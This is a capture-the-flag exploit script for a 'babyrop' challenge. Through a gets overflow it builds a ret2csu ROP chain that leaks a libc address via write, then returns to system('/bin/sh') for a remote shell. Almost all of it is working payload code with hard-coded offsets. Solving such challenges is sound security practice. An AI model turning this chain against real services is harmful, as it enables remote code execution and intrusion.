#!/usr/bin/env python3

from pwn import *

#This challenge binary has NX bit enabled with no PIE and no Canary..As NX bit is Enabled ....
#The only option to exploit the binary is to setup a ropchain 
#As there is a gets function present it is obvious that a Buffer Overflow is present in the challenge..
#We can use this to setup a ropchain to perform ret2ibc
#Unfortunately this is challenge has no puts and printf while a write syscall is present to perform a information leak
#But the obstacle here is that write needs three parameters which needs a pop rdx gadget which is not here in the binary
#So the technique is to perform ret2csu to set the third arguement to perform the memory leak to get libc address
#And to calculate the offsets to return to system with /bin/sh as arguement
#And Voilaa..we got a shell

e = ELF("./babyrop")
rop = ROP(e)
pop_rdi = rop.find_gadget(['pop rdi'])[0]
r = remote("dicec.tf",31924)
r.recv()
libc_leaker = b'A' * 72 + p64(4198858)  #padding with ret address to csu gadget 1 
libc_leaker+=p64(526277)        #pop rbx to value of the dynamic array to init to preserve register value
libc_leaker+=p64(526278)        #pop rbp..rbp value is set to rbx + 1 for the compare after the call in csu gadget 2 
libc_leaker+=p64(1)             #pop r12 to the value of 1 for mov edi,r12d to set write syscall first arguement(fd) to stdout
libc_leaker+=p64(e.got['gets']) #pop r13 to the value of got entry of gets write syscall second arguement(address)
libc_leaker+=p64(6)             #pop r14 the most essential gadget and the reason of ret2csu to set the third arguement(size)
libc_leaker+=p64(0)             #pop r15 junk value
libc_leaker+=p64(4198832)       #return address to csu gadget 2
libc_leaker+=p64(0) * 7         #junk value to regs after init to preserve regs
libc_leaker+=p64(e.plt['write']) #return address to write for info leak
libc_leaker+=p64(e.symbols['main']) #after info leak let's return to main and then perform return to system to get shell
r.sendline(libc_leaker)             #As gets stops only after newline lets send with the sendline method
address = u64(r.recvuntil(b"\x7f").decode('latin-1').ljust(8,"\x00"))  #Taking Libc leak from ctf server
r.recv()                            #libc version used by the server is libc6_2.31-0ubuntu9_amd64
log.info("The leaked libc address is " + hex(address)) #Just a log on terminal on the libc leaked address
base_address = address - 551664
log.info("The base address is " + hex(base_address))   #Just a log on terminal on the calculated libc base address
system_address = base_address + 349200
log.info("The system address is " + hex(system_address)) #Just a log on terminal on the system function address 
bin_sh = base_address + 1799594
log.info("The address of string /bin/sh in libc is " + hex(bin_sh)) #Just a log on terminal on the string /bin/sh address
pop_rdi = rop.find_gadget(['pop rdi'])[0]                           #pop gadget to set /bin/sh in rdi register
ret = rop.find_gadget(['ret'])[0] #ret gadget to prevent stack alignment issues in ubuntu 18.04 or later due to movaps instruction
exploit = b'A' * 72               #Just a padding 
exploit+=p64(ret) * 2             #A weird error single ret fails adding one more ret kinda make the exploit work
exploit+=p64(pop_rdi)             #pop rdi gadget to set the /bin/sh in rdi register
exploit+=p64(bin_sh)
exploit+=p64(system_address)      #System function address to return to get Shell
r.sendline(exploit)               #Send the exploit 
r.interactive()                   #SHELLLLLL!!!!!!!!!!!1
r.close()
